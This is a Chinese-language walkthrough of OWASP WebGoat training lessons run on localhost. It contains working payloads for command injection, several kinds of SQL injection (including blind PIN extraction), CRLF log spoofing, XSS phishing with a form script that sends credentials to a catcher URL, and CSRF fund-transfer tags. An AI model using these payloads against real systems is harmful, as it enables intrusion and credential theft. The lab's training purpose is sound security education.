介紹:WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。WebGoat提供了一系列web安全學習的教程,某些課程也給出了視頻演示,指導用戶利用這些漏洞進行攻擊。javascript
在含有該文件的目錄下使用命令java -jar webgoat-container-7.0.1-war-exec.jar
運行Webgoat,出現信息: Starting ProtocolHandler ["http-bio-8080"]
說明開啓成功,能夠看到佔用8080端口,實驗過程當中不能關閉終端。html
http://localhost:8080/WebGoat
進入WebGoat登陸界面,直接用默認用戶名密碼登陸便可。(若頁面出錯,多是JDK版本不兼容,參考連接:https://www.jianshu.com/p/9ec7838411c8)1.命令注入(Command Injection)java
原理:在正常的參數提交過程當中添加惡意代碼以執行某條指令。git
目標:能夠在目標主機上執行任何系統命令github
-操做方法:web
右鍵點擊頁面,選擇inspect Element
審查網頁元素對源代碼進行修改,在複選框中任意一欄的代碼,右鍵單擊後,選擇Edit At Html
進行修改,添加"& netstat -an & ipconfig"
。sql
點擊view,能夠看到執行指令後的網絡端口使用狀況和IP地址。攻擊成功!數據庫
2. 數字型注入(Numeric SQL Injection)瀏覽器
原理:在station字段中注入特徵字符,組合成新的SQL語句。
如:SELECT * FROM weather_data WHERE station = [station]安全
目標:該例子經過注入SQL字符串查看全部的天氣數據。
操做方法:
右鍵點擊頁面,選擇inspect Element
審查網頁元素對源代碼進行修改,在選中的城市編號Value值中添加or 1=1
。
3. 日誌欺騙(Log Spoofing)
hcj%0d%0aLogin Succeeded for username: admin
4. SQL 注入(LAB: SQL Injection)
原理:經過注入字符串繞過認證
inspect Element
審查網頁元素對源代碼進行修改,將password密碼框的最大長度限制改成20。- 以用戶Smith 登陸,輸入密碼```Smith' or 1=1--``` - 獲得全部人員列表,攻擊成功!
Stage 3:數字型 SQL 注入(Stage 3: Numeric SQL Injection)
原理:經過注入數字型數據,繞過認證,能夠經過普通員工的帳戶,查看到BOSS的用戶信息。
101 or 1=1 order by salary desc
,使得老闆的信息做爲查詢到的第一條數據。5.字符串注入(String SQL Injection)
SELECT * FROM user_data WHERE last_name = '?'
目標:下面的表格,容許用戶查看他們的信用卡號碼。嘗試經過 SQL 注入將全部信用卡信息 顯示出來。嘗試的用戶名是「Smith」。
Smith' or 1=1--
(Smith 和1=1都成了查詢的條件,而1=1是恆等式,所以能查詢到表裏面的全部數據)6. 數字型盲注入(Blind Numeric SQL Injection)
原理:某些SQL注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語。
目標:該題目容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。咱們找到 pins 表中 cc_number 字段值爲 1111222233334444 的記錄中 pin 字段的數值。pin 字段類型爲 int,整型。輸入找到的數值並提交,經過該題目。
SELECT * FROM user_data WHERE userid=accountNumber;
若是該查詢語句返回了賬號的信息,頁面將提示賬號有效,不然提示無效。使用 AND 函數,咱們能夠添加一些額外的查詢條件。若是該查詢條件一樣爲真,則返回結果應提示賬 號有效,不然無效。
針對查詢語句的後半部分構造複雜語句,如:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
;若是提示無效,則pin值小於5000,使用二分法,最終得出pin的值爲2364
1. XSS 釣魚(Phishing with XSS)
目標:建立一個 form,要求填寫用戶名和密碼。將數據提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
//腳本 </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> //表格 <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
2. 存儲型XSS攻擊(Stored XSS Attacks)
原理:這種攻擊常見於論壇等留言平臺,用戶留言的時候輸入一段JavaScript腳本,這段腳本就會被保存在數據庫中。由於是留言,因此任何用戶在打開網頁的時候,這個腳本就會被從數據庫中取出來而運行。
目標:寫入非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容
給用戶發一個信息,用戶在打開這個信息的時候觸發了隱藏在信息裏面js代碼,而後被盜走了cookies
3. 反射型XSS攻擊(Reflected XSS Attacks)
原理:在反射的XSS攻擊中,攻擊者可使用攻擊腳本建立一個URL,並將其發佈到另外一個網站、經過電子郵件或其餘方式讓受害者點擊它。
目標:使用攻擊腳本建立URL,並將其寫入網站中,當讀取到該URL的時候就會被攻擊
操做方法:
<script>alert("hello20165324");</script>
,點擊purse
的同時頁面就給出了反饋1. 跨站請求僞造(Cross Site Request Forgery (CSRF))
- 在title中輸入任何參數,message框中輸入
<img src="http://localhost:8080/WebGoat/attack Screen=267&menu=900&transferFunds=5000" width="1" height="1" />
,以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的(寬高設置成1像素的目的是隱藏該圖片),用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit
提交
- 在Message List中生成以Title命名的消息。點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。
2. 繞過 CSRF 確認( CSRF Prompt By‐Pass)
操做方法:
<iframe src="attack?Screen=276&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=276&menu=900&transferFunds=CONFIRM"> </iframe>